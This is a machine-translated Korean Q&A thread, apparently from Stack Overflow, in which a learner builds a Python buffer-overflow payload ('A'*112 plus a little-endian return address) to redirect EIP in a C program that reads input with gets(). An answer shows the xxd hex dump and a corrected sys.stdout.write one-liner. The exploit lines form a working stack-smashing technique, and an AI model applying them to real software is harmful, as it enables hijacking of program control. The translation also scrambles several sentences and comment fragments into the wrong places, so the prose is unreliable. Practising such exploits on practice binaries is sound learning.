2017-10-08 17 views
0

C 코드에서 함수를 실행하기 위해 버퍼 오버 플로우를 유발하려고합니다. 지금까지 EBP 레지스터를 넘겨받을 바이트 수를 알아 냈습니다. 유일한 것은 다음과 같습니다. EIP 주소를 실행하려는 함수로 대체하십시오. 파이썬으로이 페이로드를 생성하려고합니다. 이를 위해 나는버퍼 오버 플로우에 대한 파이썬으로 페이로드를 생성하는 방법은 무엇입니까?

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;� 

공지 사항 그 마지막 문자가 무엇을 얻을 이것은 다음

python -c 'print "A"*112 + "\x3b\x86\x04\x08"' > attack_payload 

를 사용! 나는 그것이 내가 얻고 자하는 것이 아니라는 것을 알고있다. EIP 등록에서 실행하고 싶은 주소는 0804863b입니다. 익스플로잇이 제대로 작동하려면 이걸 little endian에 붙여야했습니다. 이것에 대한 의견? 이 때문에 악용으로 더 이상 갈 수는 없습니다 ...

+0

을 덮어 쓰기 : 당신이 print하지만 사용하지 않는하지 않으려면? – DKNUCKLES

+0

@DKNUCKLES 코드가 파일의 내용을 복사하지 않고 어떻게해야할지 모르겠다. 왜냐하면 코드가 일부 입력 (문자열)이'gets '함수를 제공하기를 기대하기 때문이다. – fish202

답변

1

나는 당신이 당신의 attack_payload 파일을 어떻게 보았는지 알지 못합니다. 하지만 터미널에 덤프하거나 일부 편집기에서보기 만하면 안됩니다.이 경우 데이터는 문자로 해석 될 것이기 때문입니다. 대신 당신은 xxd으로, 예를 들어, 파일의 일부 16 진 덤프를 수행해야합니다 마지막 라인에서 볼 수 있듯이 당신이 다음을 예상 한 위치에

$ python -c 'print "A"*112 + "\x3b\x86\x04\x08"' > attack_payload 
$ xxd attack_payload 
00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 
... 
00000060: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 
00000070: 3b86 0408 0a        ;.... 

, 바이트 \x3b\x86\x04\x08은 대부분 사실이다. 파일 끝에 \x0a (즉, \n)의 개행 문자가 필요하지는 않았지만 파이썬에서 print이 추가 한 내용 일 것입니다. 당신은`> attack_payload`을 제거하면 EIP 성공적으로 요청 주소

$ python -c 'import sys; sys.stdout.write("A"*112 + "\x3b\x86\x04\x08")' > attack_payload 
+0

나는 파일을 cat하고 stdin에 그 문자를 복사했다. 왜냐하면 gets 함수가 프로그램에서 문자열을 요구하기 때문이다. 일부 자습서에서이 절차를 보았습니다. 예를 들어, 명령이 실행될 때 출력은 'A (...) A <84>^D^H'와 같아야합니다. 하지만 당신이 말하는 것은 나에게 의미가 있습니다 ... 주어진 점을 감안할 때,이 페이로드를'gets' 함수에 전달하고 버퍼를 오버 플로우시키는 방법이 있습니까? – fish202

+0

@ fish202 : 응용 프로그램이 stdin에서 gets를 읽는 경우'app

+0

물론, 그런 식으로 직접 먹일 수는 없습니다. 코드 [link] (https://pastebin.com/tv7zyvF0)를 따르십시오. – fish202